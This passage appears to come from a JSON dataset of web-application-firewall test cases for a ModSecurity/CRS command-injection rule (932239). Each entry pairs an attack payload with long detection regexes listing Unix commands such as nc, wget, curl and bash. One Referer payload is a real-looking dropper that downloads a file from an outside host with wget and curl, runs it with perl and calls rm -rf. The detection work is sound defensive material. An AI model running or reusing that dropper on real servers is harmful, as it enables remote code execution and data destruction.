0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "System Command Injection (932239) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "Something true positive „The Title”. After space or new line more characters" } ], "attack_context": { "method": "POST", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\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|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup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ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "True Positive Fix Test 1 ISO-8859-2, ISO-8859-3, ISO-8859-4, ISO-8859-5, ISO-8859-6, ISO-8859-7, ISO-8859-8, ISO-8859-10, ISO-8859-14, ISO-8859-15 are affected because the chars are encoded as decimal html %26%238222%3B and %26%238221%3B entities" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "system('echo cd /tmp;wget http://turbatu.altervista.org/apache_32.png -O p2.txt;curl -O http://turbatu.altervista.org/apache_32.png; mv apache_32.png p.txt;lyxn -DUMP http://turbatu.altervista.org/apache_32.png >p3.txt;perl p.txt; perl p2.txt;perl p3.txt;rm -rf" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent",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\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?